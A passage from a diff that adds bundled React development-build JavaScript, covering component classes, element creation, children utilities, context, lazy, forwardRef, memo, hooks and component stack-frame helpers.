+            error("Can't call %s on a component that is not yet mounted. This is a no-op, but it might indicate a bug in your application. Instead, assign to `this.state` directly or define a `state = {};` class property with the desired state in the %s component.", callerName, componentName);
+            didWarnStateUpdateForUnmountedComponent[warningKey] = true;
+          }
+        }
+        var ReactNoopUpdateQueue = {
+          isMounted: function(publicInstance) {
+            return false;
+          },
+          enqueueForceUpdate: function(publicInstance, callback, callerName) {
+            warnNoop(publicInstance, "forceUpdate");
+          },
+          enqueueReplaceState: function(publicInstance, completeState, callback, callerName) {
+            warnNoop(publicInstance, "replaceState");
+          },
+          enqueueSetState: function(publicInstance, partialState, callback, callerName) {
+            warnNoop(publicInstance, "setState");
+          }
+        };
+        var assign = Object.assign;
+        var emptyObject = {};
+        {
+          Object.freeze(emptyObject);
+        }
+        function Component(props, context, updater) {
+          this.props = props;
+          this.context = context;
+          this.refs = emptyObject;
+          this.updater = updater || ReactNoopUpdateQueue;
+        }
+        Component.prototype.isReactComponent = {};
+        Component.prototype.setState = function(partialState, callback) {
+          if (typeof partialState !== "object" && typeof partialState !== "function" && partialState != null) {
+            throw new Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");
+          }
+          this.updater.enqueueSetState(this, partialState, callback, "setState");
+        };
+        Component.prototype.forceUpdate = function(callback) {
+          this.updater.enqueueForceUpdate(this, callback, "forceUpdate");
+        };
+        {
+          var deprecatedAPIs = {
+            isMounted: ["isMounted", "Instead, make sure to clean up subscriptions and pending requests in componentWillUnmount to prevent memory leaks."],
+            replaceState: ["replaceState", "Refactor your code to use setState instead (see https://github.com/facebook/react/issues/3236)."]
+          };
+          var defineDeprecationWarning = function(methodName, info) {
+            Object.defineProperty(Component.prototype, methodName, {
+              get: function() {
+                warn("%s(...) is deprecated in plain JavaScript React classes. %s", info[0], info[1]);
+                return void 0;
+              }
+            });
+          };
+          for (var fnName in deprecatedAPIs) {
+            if (deprecatedAPIs.hasOwnProperty(fnName)) {
+              defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);
+            }
+          }
+        }
+        function ComponentDummy() {
+        }
+        ComponentDummy.prototype = Component.prototype;
+        function PureComponent(props, context, updater) {
+          this.props = props;
+          this.context = context;
+          this.refs = emptyObject;
+          this.updater = updater || ReactNoopUpdateQueue;
+        }
+        var pureComponentPrototype = PureComponent.prototype = new ComponentDummy();
+        pureComponentPrototype.constructor = PureComponent;
+        assign(pureComponentPrototype, Component.prototype);
+        pureComponentPrototype.isPureReactComponent = true;
+        function createRef() {
+          var refObject = {
+            current: null
+          };
+          {
+            Object.seal(refObject);
+          }
+          return refObject;
+        }
+        var isArrayImpl = Array.isArray;
+        function isArray(a2) {
+          return isArrayImpl(a2);
+        }
+        function typeName(value) {
+          {
+            var hasToStringTag = typeof Symbol === "function" && Symbol.toStringTag;
+            var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || "Object";
+            return type;
+          }
+        }
+        function willCoercionThrow(value) {
+          {
+            try {
+              testStringCoercion(value);
+              return false;
+            } catch (e2) {
+              return true;
+            }
+          }
+        }
+        function testStringCoercion(value) {
+          return "" + value;
+        }
+        function checkKeyStringCoercion(value) {
+          {
+            if (willCoercionThrow(value)) {
+              error("The provided key is an unsupported type %s. This value must be coerced to a string before before using it here.", typeName(value));
+              return testStringCoercion(value);
+            }
+          }
+        }
+        function getWrappedName(outerType, innerType, wrapperName) {
+          var displayName = outerType.displayName;
+          if (displayName) {
+            return displayName;
+          }
+          var functionName = innerType.displayName || innerType.name || "";
+          return functionName !== "" ? wrapperName + "(" + functionName + ")" : wrapperName;
+        }
+        function getContextName(type) {
+          return type.displayName || "Context";
+        }
+        function getComponentNameFromType(type) {
+          if (type == null) {
+            return null;
+          }
+          {
+            if (typeof type.tag === "number") {
+              error("Received an unexpected object in getComponentNameFromType(). This is likely a bug in React. Please file an issue.");
+            }
+          }
+          if (typeof type === "function") {
+            return type.displayName || type.name || null;
+          }
+          if (typeof type === "string") {
+            return type;
+          }
+          switch (type) {
+            case REACT_FRAGMENT_TYPE:
+              return "Fragment";
+            case REACT_PORTAL_TYPE:
+              return "Portal";
+            case REACT_PROFILER_TYPE:
+              return "Profiler";
+            case REACT_STRICT_MODE_TYPE:
+              return "StrictMode";
+            case REACT_SUSPENSE_TYPE:
+              return "Suspense";
+            case REACT_SUSPENSE_LIST_TYPE:
+              return "SuspenseList";
+          }
+          if (typeof type === "object") {
+            switch (type.$$typeof) {
+              case REACT_CONTEXT_TYPE:
+                var context = type;
+                return getContextName(context) + ".Consumer";
+              case REACT_PROVIDER_TYPE:
+                var provider = type;
+                return getContextName(provider._context) + ".Provider";
+              case REACT_FORWARD_REF_TYPE:
+                return getWrappedName(type, type.render, "ForwardRef");
+              case REACT_MEMO_TYPE:
+                var outerName = type.displayName || null;
+                if (outerName !== null) {
+                  return outerName;
+                }
+                return getComponentNameFromType(type.type) || "Memo";
+              case REACT_LAZY_TYPE: {
+                var lazyComponent = type;
+                var payload = lazyComponent._payload;
+                var init = lazyComponent._init;
+                try {
+                  return getComponentNameFromType(init(payload));
+                } catch (x) {
+                  return null;
+                }
+              }
+            }
+          }
+          return null;
+        }
+        var hasOwnProperty = Object.prototype.hasOwnProperty;
+        var RESERVED_PROPS = {
+          key: true,
+          ref: true,
+          __self: true,
+          __source: true
+        };
+        var specialPropKeyWarningShown, specialPropRefWarningShown, didWarnAboutStringRefs;
+        {
+          didWarnAboutStringRefs = {};
+        }
+        function hasValidRef(config) {
+          {
+            if (hasOwnProperty.call(config, "ref")) {
+              var getter = Object.getOwnPropertyDescriptor(config, "ref").get;
+              if (getter && getter.isReactWarning) {
+                return false;
+              }
+            }
+          }
+          return config.ref !== void 0;
+        }
+        function hasValidKey(config) {
+          {
+            if (hasOwnProperty.call(config, "key")) {
+              var getter = Object.getOwnPropertyDescriptor(config, "key").get;
+              if (getter && getter.isReactWarning) {
+                return false;
+              }
+            }
+          }
+          return config.key !== void 0;
+        }
+        function defineKeyPropWarningGetter(props, displayName) {
+          var warnAboutAccessingKey = function() {
+            {
+              if (!specialPropKeyWarningShown) {
+                specialPropKeyWarningShown = true;
+                error("%s: `key` is not a prop. Trying to access it will result in `undefined` being returned. If you need to access the same value within the child component, you should pass it as a different prop. (https://reactjs.org/link/special-props)", displayName);
+              }
+            }
+          };
+          warnAboutAccessingKey.isReactWarning = true;
+          Object.defineProperty(props, "key", {
+            get: warnAboutAccessingKey,
+            configurable: true
+          });
+        }
+        function defineRefPropWarningGetter(props, displayName) {
+          var warnAboutAccessingRef = function() {
+            {
+              if (!specialPropRefWarningShown) {
+                specialPropRefWarningShown = true;
+                error("%s: `ref` is not a prop. Trying to access it will result in `undefined` being returned. If you need to access the same value within the child component, you should pass it as a different prop. (https://reactjs.org/link/special-props)", displayName);
+              }
+            }
+          };
+          warnAboutAccessingRef.isReactWarning = true;
+          Object.defineProperty(props, "ref", {
+            get: warnAboutAccessingRef,
+            configurable: true
+          });
+        }
+        function warnIfStringRefCannotBeAutoConverted(config) {
+          {
+            if (typeof config.ref === "string" && ReactCurrentOwner.current && config.__self && ReactCurrentOwner.current.stateNode !== config.__self) {
+              var componentName = getComponentNameFromType(ReactCurrentOwner.current.type);
+              if (!didWarnAboutStringRefs[componentName]) {
+                error('Component "%s" contains the string ref "%s". Support for string refs will be removed in a future major release. This case cannot be automatically converted to an arrow function. We ask you to manually fix this case by using useRef() or createRef() instead. Learn more about using refs safely here: https://reactjs.org/link/strict-mode-string-ref', componentName, config.ref);
+                didWarnAboutStringRefs[componentName] = true;
+              }
+            }
+          }
+        }
+        var ReactElement = function(type, key, ref, self, source, owner, props) {
+          var element = {
+            $$typeof: REACT_ELEMENT_TYPE,
+            type,
+            key,
+            ref,
+            props,
+            _owner: owner
+          };
+          {
+            element._store = {};
+            Object.defineProperty(element._store, "validated", {
+              configurable: false,
+              enumerable: false,
+              writable: true,
+              value: false
+            });
+            Object.defineProperty(element, "_self", {
+              configurable: false,
+              enumerable: false,
+              writable: false,
+              value: self
+            });
+            Object.defineProperty(element, "_source", {
+              configurable: false,
+              enumerable: false,
+              writable: false,
+              value: source
+            });
+            if (Object.freeze) {
+              Object.freeze(element.props);
+              Object.freeze(element);
+            }
+          }
+          return element;
+        };
+        function createElement2(type, config, children) {
+          var propName;
+          var props = {};
+          var key = null;
+          var ref = null;
+          var self = null;
+          var source = null;
+          if (config != null) {
+            if (hasValidRef(config)) {
+              ref = config.ref;
+              {
+                warnIfStringRefCannotBeAutoConverted(config);
+              }
+            }
+            if (hasValidKey(config)) {
+              {
+                checkKeyStringCoercion(config.key);
+              }
+              key = "" + config.key;
+            }
+            self = config.__self === void 0 ? null : config.__self;
+            source = config.__source === void 0 ? null : config.__source;
+            for (propName in config) {
+              if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
+                props[propName] = config[propName];
+              }
+            }
+          }
+          var childrenLength = arguments.length - 2;
+          if (childrenLength === 1) {
+            props.children = children;
+          } else if (childrenLength > 1) {
+            var childArray = Array(childrenLength);
+            for (var i2 = 0; i2 < childrenLength; i2++) {
+              childArray[i2] = arguments[i2 + 2];
+            }
+            {
+              if (Object.freeze) {
+                Object.freeze(childArray);
+              }
+            }
+            props.children = childArray;
+          }
+          if (type && type.defaultProps) {
+            var defaultProps = type.defaultProps;
+            for (propName in defaultProps) {
+              if (props[propName] === void 0) {
+                props[propName] = defaultProps[propName];
+              }
+            }
+          }
+          {
+            if (key || ref) {
+              var displayName = typeof type === "function" ? type.displayName || type.name || "Unknown" : type;
+              if (key) {
+                defineKeyPropWarningGetter(props, displayName);
+              }
+              if (ref) {
+                defineRefPropWarningGetter(props, displayName);
+              }
+            }
+          }
+          return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);
+        }
+        function cloneAndReplaceKey(oldElement, newKey) {
+          var newElement = ReactElement(oldElement.type, newKey, oldElement.ref, oldElement._self, oldElement._source, oldElement._owner, oldElement.props);
+          return newElement;
+        }
+        function cloneElement(element, config, children) {
+          if (element === null || element === void 0) {
+            throw new Error("React.cloneElement(...): The argument must be a React element, but you passed " + element + ".");
+          }
+          var propName;
+          var props = assign({}, element.props);
+          var key = element.key;
+          var ref = element.ref;
+          var self = element._self;
+          var source = element._source;
+          var owner = element._owner;
+          if (config != null) {
+            if (hasValidRef(config)) {
+              ref = config.ref;
+              owner = ReactCurrentOwner.current;
+            }
+            if (hasValidKey(config)) {
+              {
+                checkKeyStringCoercion(config.key);
+              }
+              key = "" + config.key;
+            }
+            var defaultProps;
+            if (element.type && element.type.defaultProps) {
+              defaultProps = element.type.defaultProps;
+            }
+            for (propName in config) {
+              if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
+                if (config[propName] === void 0 && defaultProps !== void 0) {
+                  props[propName] = defaultProps[propName];
+                } else {
+                  props[propName] = config[propName];
+                }
+              }
+            }
+          }
+          var childrenLength = arguments.length - 2;
+          if (childrenLength === 1) {
+            props.children = children;
+          } else if (childrenLength > 1) {
+            var childArray = Array(childrenLength);
+            for (var i2 = 0; i2 < childrenLength; i2++) {
+              childArray[i2] = arguments[i2 + 2];
+            }
+            props.children = childArray;
+          }
+          return ReactElement(element.type, key, ref, self, source, owner, props);
+        }
+        function isValidElement(object) {
+          return typeof object === "object" && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
+        }
+        var SEPARATOR = ".";
+        var SUBSEPARATOR = ":";
+        function escape(key) {
+          var escapeRegex = /[=:]/g;
+          var escaperLookup = {
+            "=": "=0",
+            ":": "=2"
+          };
+          var escapedString = key.replace(escapeRegex, function(match) {
+            return escaperLookup[match];
+          });
+          return "$" + escapedString;
+        }
+        var didWarnAboutMaps = false;
+        var userProvidedKeyEscapeRegex = /\/+/g;
+        function escapeUserProvidedKey(text) {
+          return text.replace(userProvidedKeyEscapeRegex, "$&/");
+        }
+        function getElementKey(element, index) {
+          if (typeof element === "object" && element !== null && element.key != null) {
+            {
+              checkKeyStringCoercion(element.key);
+            }
+            return escape("" + element.key);
+          }
+          return index.toString(36);
+        }
+        function mapIntoArray(children, array, escapedPrefix, nameSoFar, callback) {
+          var type = typeof children;
+          if (type === "undefined" || type === "boolean") {
+            children = null;
+          }
+          var invokeCallback = false;
+          if (children === null) {
+            invokeCallback = true;
+          } else {
+            switch (type) {
+              case "string":
+              case "number":
+                invokeCallback = true;
+                break;
+              case "object":
+                switch (children.$$typeof) {
+                  case REACT_ELEMENT_TYPE:
+                  case REACT_PORTAL_TYPE:
+                    invokeCallback = true;
+                }
+            }
+          }
+          if (invokeCallback) {
+            var _child = children;
+            var mappedChild = callback(_child);
+            var childKey = nameSoFar === "" ? SEPARATOR + getElementKey(_child, 0) : nameSoFar;
+            if (isArray(mappedChild)) {
+              var escapedChildKey = "";
+              if (childKey != null) {
+                escapedChildKey = escapeUserProvidedKey(childKey) + "/";
+              }
+              mapIntoArray(mappedChild, array, escapedChildKey, "", function(c2) {
+                return c2;
+              });
+            } else if (mappedChild != null) {
+              if (isValidElement(mappedChild)) {
+                {
+                  if (mappedChild.key && (!_child || _child.key !== mappedChild.key)) {
+                    checkKeyStringCoercion(mappedChild.key);
+                  }
+                }
+                mappedChild = cloneAndReplaceKey(mappedChild, escapedPrefix + (mappedChild.key && (!_child || _child.key !== mappedChild.key) ? escapeUserProvidedKey("" + mappedChild.key) + "/" : "") + childKey);
+              }
+              array.push(mappedChild);
+            }
+            return 1;
+          }
+          var child;
+          var nextName;
+          var subtreeCount = 0;
+          var nextNamePrefix = nameSoFar === "" ? SEPARATOR : nameSoFar + SUBSEPARATOR;
+          if (isArray(children)) {
+            for (var i2 = 0; i2 < children.length; i2++) {
+              child = children[i2];
+              nextName = nextNamePrefix + getElementKey(child, i2);
+              subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
+            }
+          } else {
+            var iteratorFn = getIteratorFn(children);
+            if (typeof iteratorFn === "function") {
+              var iterableChildren = children;
+              {
+                if (iteratorFn === iterableChildren.entries) {
+                  if (!didWarnAboutMaps) {
+                    warn("Using Maps as children is not supported. Use an array of keyed ReactElements instead.");
+                  }
+                  didWarnAboutMaps = true;
+                }
+              }
+              var iterator = iteratorFn.call(iterableChildren);
+              var step;
+              var ii = 0;
+              while (!(step = iterator.next()).done) {
+                child = step.value;
+                nextName = nextNamePrefix + getElementKey(child, ii++);
+                subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
+              }
+            } else if (type === "object") {
+              var childrenString = String(children);
+              throw new Error("Objects are not valid as a React child (found: " + (childrenString === "[object Object]" ? "object with keys {" + Object.keys(children).join(", ") + "}" : childrenString) + "). If you meant to render a collection of children, use an array instead.");
+            }
+          }
+          return subtreeCount;
+        }
+        function mapChildren(children, func, context) {
+          if (children == null) {
+            return children;
+          }
+          var result = [];
+          var count = 0;
+          mapIntoArray(children, result, "", "", function(child) {
+            return func.call(context, child, count++);
+          });
+          return result;
+        }
+        function countChildren(children) {
+          var n2 = 0;
+          mapChildren(children, function() {
+            n2++;
+          });
+          return n2;
+        }
+        function forEachChildren(children, forEachFunc, forEachContext) {
+          mapChildren(children, function() {
+            forEachFunc.apply(this, arguments);
+          }, forEachContext);
+        }
+        function toArray(children) {
+          return mapChildren(children, function(child) {
+            return child;
+          }) || [];
+        }
+        function onlyChild(children) {
+          if (!isValidElement(children)) {
+            throw new Error("React.Children.only expected to receive a single React element child.");
+          }
+          return children;
+        }
+        function createContext4(defaultValue) {
+          var context = {
+            $$typeof: REACT_CONTEXT_TYPE,
+            _currentValue: defaultValue,
+            _currentValue2: defaultValue,
+            _threadCount: 0,
+            Provider: null,
+            Consumer: null,
+            _defaultValue: null,
+            _globalName: null
+          };
+          context.Provider = {
+            $$typeof: REACT_PROVIDER_TYPE,
+            _context: context
+          };
+          var hasWarnedAboutUsingNestedContextConsumers = false;
+          var hasWarnedAboutUsingConsumerProvider = false;
+          var hasWarnedAboutDisplayNameOnConsumer = false;
+          {
+            var Consumer = {
+              $$typeof: REACT_CONTEXT_TYPE,
+              _context: context
+            };
+            Object.defineProperties(Consumer, {
+              Provider: {
+                get: function() {
+                  if (!hasWarnedAboutUsingConsumerProvider) {
+                    hasWarnedAboutUsingConsumerProvider = true;
+                    error("Rendering <Context.Consumer.Provider> is not supported and will be removed in a future major release. Did you mean to render <Context.Provider> instead?");
+                  }
+                  return context.Provider;
+                },
+                set: function(_Provider) {
+                  context.Provider = _Provider;
+                }
+              },
+              _currentValue: {
+                get: function() {
+                  return context._currentValue;
+                },
+                set: function(_currentValue) {
+                  context._currentValue = _currentValue;
+                }
+              },
+              _currentValue2: {
+                get: function() {
+                  return context._currentValue2;
+                },
+                set: function(_currentValue2) {
+                  context._currentValue2 = _currentValue2;
+                }
+              },
+              _threadCount: {
+                get: function() {
+                  return context._threadCount;
+                },
+                set: function(_threadCount) {
+                  context._threadCount = _threadCount;
+                }
+              },
+              Consumer: {
+                get: function() {
+                  if (!hasWarnedAboutUsingNestedContextConsumers) {
+                    hasWarnedAboutUsingNestedContextConsumers = true;
+                    error("Rendering <Context.Consumer.Consumer> is not supported and will be removed in a future major release. Did you mean to render <Context.Consumer> instead?");
+                  }
+                  return context.Consumer;
+                }
+              },
+              displayName: {
+                get: function() {
+                  return context.displayName;
+                },
+                set: function(displayName) {
+                  if (!hasWarnedAboutDisplayNameOnConsumer) {
+                    warn("Setting `displayName` on Context.Consumer has no effect. You should set it directly on the context with Context.displayName = '%s'.", displayName);
+                    hasWarnedAboutDisplayNameOnConsumer = true;
+                  }
+                }
+              }
+            });
+            context.Consumer = Consumer;
+          }
+          {
+            context._currentRenderer = null;
+            context._currentRenderer2 = null;
+          }
+          return context;
+        }
+        var Uninitialized = -1;
+        var Pending = 0;
+        var Resolved = 1;
+        var Rejected = 2;
+        function lazyInitializer(payload) {
+          if (payload._status === Uninitialized) {
+            var ctor = payload._result;
+            var thenable = ctor();
+            thenable.then(function(moduleObject2) {
+              if (payload._status === Pending || payload._status === Uninitialized) {
+                var resolved = payload;
+                resolved._status = Resolved;
+                resolved._result = moduleObject2;
+              }
+            }, function(error2) {
+              if (payload._status === Pending || payload._status === Uninitialized) {
+                var rejected = payload;
+                rejected._status = Rejected;
+                rejected._result = error2;
+              }
+            });
+            if (payload._status === Uninitialized) {
+              var pending = payload;
+              pending._status = Pending;
+              pending._result = thenable;
+            }
+          }
+          if (payload._status === Resolved) {
+            var moduleObject = payload._result;
+            {
+              if (moduleObject === void 0) {
+                error("lazy: Expected the result of a dynamic import() call. Instead received: %s\n\nYour code should look like: \n  const MyComponent = lazy(() => import('./MyComponent'))\n\nDid you accidentally put curly braces around the import?", moduleObject);
+              }
+            }
+            {
+              if (!("default" in moduleObject)) {
+                error("lazy: Expected the result of a dynamic import() call. Instead received: %s\n\nYour code should look like: \n  const MyComponent = lazy(() => import('./MyComponent'))", moduleObject);
+              }
+            }
+            return moduleObject.default;
+          } else {
+            throw payload._result;
+          }
+        }
+        function lazy(ctor) {
+          var payload = {
+            _status: Uninitialized,
+            _result: ctor
+          };
+          var lazyType = {
+            $$typeof: REACT_LAZY_TYPE,
+            _payload: payload,
+            _init: lazyInitializer
+          };
+          {
+            var defaultProps;
+            var propTypes;
+            Object.defineProperties(lazyType, {
+              defaultProps: {
+                configurable: true,
+                get: function() {
+                  return defaultProps;
+                },
+                set: function(newDefaultProps) {
+                  error("React.lazy(...): It is not supported to assign `defaultProps` to a lazy component import. Either specify them where the component is defined, or create a wrapping component around it.");
+                  defaultProps = newDefaultProps;
+                  Object.defineProperty(lazyType, "defaultProps", {
+                    enumerable: true
+                  });
+                }
+              },
+              propTypes: {
+                configurable: true,
+                get: function() {
+                  return propTypes;
+                },
+                set: function(newPropTypes) {
+                  error("React.lazy(...): It is not supported to assign `propTypes` to a lazy component import. Either specify them where the component is defined, or create a wrapping component around it.");
+                  propTypes = newPropTypes;
+                  Object.defineProperty(lazyType, "propTypes", {
+                    enumerable: true
+                  });
+                }
+              }
+            });
+          }
+          return lazyType;
+        }
+        function forwardRef(render) {
+          {
+            if (render != null && render.$$typeof === REACT_MEMO_TYPE) {
+              error("forwardRef requires a render function but received a `memo` component. Instead of forwardRef(memo(...)), use memo(forwardRef(...)).");
+            } else if (typeof render !== "function") {
+              error("forwardRef requires a render function but was given %s.", render === null ? "null" : typeof render);
+            } else {
+              if (render.length !== 0 && render.length !== 2) {
+                error("forwardRef render functions accept exactly two parameters: props and ref. %s", render.length === 1 ? "Did you forget to use the ref parameter?" : "Any additional parameter will be undefined.");
+              }
+            }
+            if (render != null) {
+              if (render.defaultProps != null || render.propTypes != null) {
+                error("forwardRef render functions do not support propTypes or defaultProps. Did you accidentally pass a React component?");
+              }
+            }
+          }
+          var elementType = {
+            $$typeof: REACT_FORWARD_REF_TYPE,
+            render
+          };
+          {
+            var ownName;
+            Object.defineProperty(elementType, "displayName", {
+              enumerable: false,
+              configurable: true,
+              get: function() {
+                return ownName;
+              },
+              set: function(name) {
+                ownName = name;
+                if (!render.name && !render.displayName) {
+                  render.displayName = name;
+                }
+              }
+            });
+          }
+          return elementType;
+        }
+        var REACT_MODULE_REFERENCE;
+        {
+          REACT_MODULE_REFERENCE = Symbol.for("react.module.reference");
+        }
+        function isValidElementType(type) {
+          if (typeof type === "string" || typeof type === "function") {
+            return true;
+          }
+          if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCacheElement || enableTransitionTracing) {
+            return true;
+          }
+          if (typeof type === "object" && type !== null) {
+            if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== void 0) {
+              return true;
+            }
+          }
+          return false;
+        }
+        function memo(type, compare) {
+          {
+            if (!isValidElementType(type)) {
+              error("memo: The first argument must be a component. Instead received: %s", type === null ? "null" : typeof type);
+            }
+          }
+          var elementType = {
+            $$typeof: REACT_MEMO_TYPE,
+            type,
+            compare: compare === void 0 ? null : compare
+          };
+          {
+            var ownName;
+            Object.defineProperty(elementType, "displayName", {
+              enumerable: false,
+              configurable: true,
+              get: function() {
+                return ownName;
+              },
+              set: function(name) {
+                ownName = name;
+                if (!type.name && !type.displayName) {
+                  type.displayName = name;
+                }
+              }
+            });
+          }
+          return elementType;
+        }
+        function resolveDispatcher() {
+          var dispatcher = ReactCurrentDispatcher.current;
+          {
+            if (dispatcher === null) {
+              error("Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:\n1. You might have mismatching versions of React and the renderer (such as React DOM)\n2. You might be breaking the Rules of Hooks\n3. You might have more than one copy of React in the same app\nSee https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.");
+            }
+          }
+          return dispatcher;
+        }
+        function useContext4(Context) {
+          var dispatcher = resolveDispatcher();
+          {
+            if (Context._context !== void 0) {
+              var realContext = Context._context;
+              if (realContext.Consumer === Context) {
+                error("Calling useContext(Context.Consumer) is not supported, may cause bugs, and will be removed in a future major release. Did you mean to call useContext(Context) instead?");
+              } else if (realContext.Provider === Context) {
+                error("Calling useContext(Context.Provider) is not supported. Did you mean to call useContext(Context) instead?");
+              }
+            }
+          }
+          return dispatcher.useContext(Context);
+        }
+        function useState2(initialState) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useState(initialState);
+        }
+        function useReducer(reducer, initialArg, init) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useReducer(reducer, initialArg, init);
+        }
+        function useRef(initialValue) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useRef(initialValue);
+        }
+        function useEffect2(create, deps) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useEffect(create, deps);
+        }
+        function useInsertionEffect(create, deps) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useInsertionEffect(create, deps);
+        }
+        function useLayoutEffect(create, deps) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useLayoutEffect(create, deps);
+        }
+        function useCallback(callback, deps) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useCallback(callback, deps);
+        }
+        function useMemo(create, deps) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useMemo(create, deps);
+        }
+        function useImperativeHandle(ref, create, deps) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useImperativeHandle(ref, create, deps);
+        }
+        function useDebugValue(value, formatterFn) {
+          {
+            var dispatcher = resolveDispatcher();
+            return dispatcher.useDebugValue(value, formatterFn);
+          }
+        }
+        function useTransition() {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useTransition();
+        }
+        function useDeferredValue(value) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useDeferredValue(value);
+        }
+        function useId() {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useId();
+        }
+        function useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
+          var dispatcher = resolveDispatcher();
+          return dispatcher.useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
+        }
+        var disabledDepth = 0;
+        var prevLog;
+        var prevInfo;
+        var prevWarn;
+        var prevError;
+        var prevGroup;
+        var prevGroupCollapsed;
+        var prevGroupEnd;
+        function disabledLog() {
+        }
+        disabledLog.__reactDisabledLog = true;
+        function disableLogs() {
+          {
+            if (disabledDepth === 0) {
+              prevLog = console.log;
+              prevInfo = console.info;
+              prevWarn = console.warn;
+              prevError = console.error;
+              prevGroup = console.group;
+              prevGroupCollapsed = console.groupCollapsed;
+              prevGroupEnd = console.groupEnd;
+              var props = {
+                configurable: true,
+                enumerable: true,
+                value: disabledLog,
+                writable: true
+              };
+              Object.defineProperties(console, {
+                info: props,
+                log: props,
+                warn: props,
+                error: props,
+                group: props,
+                groupCollapsed: props,
+                groupEnd: props
+              });
+            }
+            disabledDepth++;
+          }
+        }
+        function reenableLogs() {
+          {
+            disabledDepth--;
+            if (disabledDepth === 0) {
+              var props = {
+                configurable: true,
+                enumerable: true,
+                writable: true
+              };
+              Object.defineProperties(console, {
+                log: assign({}, props, {
+                  value: prevLog
+                }),
+                info: assign({}, props, {
+                  value: prevInfo
+                }),
+                warn: assign({}, props, {
+                  value: prevWarn
+                }),
+                error: assign({}, props, {
+                  value: prevError
+                }),
+                group: assign({}, props, {
+                  value: prevGroup
+                }),
+                groupCollapsed: assign({}, props, {
+                  value: prevGroupCollapsed
+                }),
+                groupEnd: assign({}, props, {
+                  value: prevGroupEnd
+                })
+              });
+            }
+            if (disabledDepth < 0) {
+              error("disabledDepth fell below zero. This is a bug in React. Please file an issue.");
+            }
+          }
+        }
+        var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher;
+        var prefix;
+        function describeBuiltInComponentFrame(name, source, ownerFn) {
+          {
+            if (prefix === void 0) {
+              try {
+                throw Error();
+              } catch (x) {
+                var match = x.stack.trim().match(/\n( *(at )?)/);
+                prefix = match && match[1] || "";
+              }
+            }
+            return "\n" + prefix + name;
+          }
+        }
+        var reentry = false;
+        var componentFrameCache;
+        {
+          var PossiblyWeakMap = typeof WeakMap === "function" ? WeakMap : Map;
+          componentFrameCache = new PossiblyWeakMap();
+        }
+        function describeNativeComponentFrame(fn, construct) {
+          if (!fn || reentry) {
+            return "";
+          }
+          {
+            var frame = componentFrameCache.get(fn);
+            if (frame !== void 0) {
+              return frame;
+            }
+          }
+          var control;
+          reentry = true;
+          var previousPrepareStackTrace = Error.prepareStackTrace;
+          Error.prepareStackTrace = void 0;
+          var previousDispatcher;
+          {
+            previousDispatcher = ReactCurrentDispatcher$1.current;
+            ReactCurrentDispatcher$1.current = null;
+            disableLogs();
+          }
+          try {
+            if (construct) {
+              var Fake = function() {
+                throw Error();
+              };
+              Object.defineProperty(Fake.prototype, "props", {
+                set: function() {
+                  throw Error();
+                }
+              });
+              if (typeof Reflect === "object" && Reflect.construct) {
+                try {
+                  Reflect.construct(Fake, []);
+                } catch (x) {
+                  control = x;
+                }
+                Reflect.construct(fn, [], Fake);
+              } else {
+                try {
+                  Fake.call();
+                } catch (x) {
+                  control = x;
+                }
+                fn.call(Fake.prototype);
+              }
+            } else {
+              try {
+                throw Error();
+              } catch (x) {
+                control = x;
+              }
+              fn();
+            }
+          } catch (sample) {
+            if (sample && control && typeof sample.stack === "string") {
+              var sampleLines = sample.stack.split("\n");
+              var controlLines = control.stack.split("\n");
+              var s2 = sampleLines.length - 1;
+              var c2 = controlLines.length - 1;
+              while (s2 >= 1 && c2 >= 0 && sampleLines[s2] !== controlLines[c2]) {
+                c2--;
+              }
+              for (; s2 >= 1 && c2 >= 0; s2--, c2--) {
+                if (sampleLines[s2] !== controlLines[c2]) {
+                  if (s2 !== 1 || c2 !== 1) {
+                    do {
+                      s2--;
+                      c2--;
+                      if (c2 < 0 || sampleLines[s2] !== controlLines[c2]) {
+                        var _frame = "\n" + sampleLines[s2].replace(" at new ", " at ");
+                        if (fn.displayName && _frame.includes("<anonymous>")) {
+                          _frame = _frame.replace("<anonymous>", fn.displayName);
+                        }
+                        {
+                          if (typeof fn === "function") {
+                            componentFrameCache.set(fn, _frame);
+                          }
+                        }
+                        return _frame;
+                      }
+                    } while (s2 >= 1 && c2 >= 0);
+                  }
+                  break;
+                }
+              }
+            }
+          } finally {
+            reentry = false;
+            {
+              ReactCurrentDispatcher$1.current = previousDispatcher;
+              reenableLogs();
+            }
+            Error.prepareStackTrace = previousPrepareStackTrace;
+          }
